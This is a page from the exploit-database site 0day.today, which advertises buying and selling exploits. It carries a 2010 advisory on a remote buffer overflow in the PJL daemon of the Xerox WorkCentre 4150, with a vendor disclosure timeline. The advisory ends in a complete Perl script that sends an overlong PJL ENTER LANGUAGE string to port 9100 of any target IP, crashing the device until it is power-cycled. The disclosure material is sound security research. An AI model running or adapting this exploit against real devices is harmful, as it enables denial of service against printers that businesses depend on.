0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Xerox Workcenter 4150 Remote Buffer Overflow
[============================================
Xerox Workcenter 4150 Remote Buffer Overflow
============================================
#####################################################################################
Application: Xerox Workcenter 4150 Remote Buffer Overflow
Platforms: Xerox Workcenter 4150
Discover Date: 2009-12-21
Author: Francis Provencher (Protek Research Lab's)
Blog: http://www.Protekresearchlab.com
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) The Code
#####################################################################################
=================
1) Introduction
=================
The Xerox WorkCentre 4150 multifunction is the affordable transition to the next level of productivity
for your office. One easy-to-use device offers powerful printing, copying, scanning, and faxing.
#####################################################################################
====================
2) Report Timeline
====================
2009-12-22 Vendor Contacted
2009-12-22 Vendor Response
2009-12-22 Vendor request a PoC
2009-12-23 PoC is sent
2009-12-28 Vendor confirm the vulnerability
2010-01-27 Vendor release a Patch
2010-01-28 Public release of this advisory
#####################################################################################
======================
3) Technical details
======================
During a brief assessment we performed on a Xerox WorkCentre 4150 it was discovered that PJL daemon
implementation contains a weakness related to robustness of PJL protocol handling. Attacker can crash
the service with a relatively simple attack. Recovering from the denial-of-service condition requires
power cycling the device. Due to the black box nature of this Proof of concept attack, we are unable to know
if remote code execution is possible.
On the LCD screen we can see this message;
System Fault: (ubEmulationLen <= Longest_Lang_Length) && The result of strlen() is invalid
file PJL_Misc.c, line 174, task PJL
#####################################################################################
=============
4) The Code
=============
#!/usr/bin/perl -w
use IO::Socket;
if (@ARGV < 1){
exit
}
$ip = $ARGV[0];
#open the socket
my $sock = new IO::Socket::INET (
PeerAddr => $ip,
PeerPort => '9100',
Proto => 'tcp',
);
$sock or die "no socket :$!";
send($sock, "\033%-12345X\@PJL ENTER LANGUAGE = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",0);
close $sock;
#####################################################################################
# 0day.today [2024-11-15] #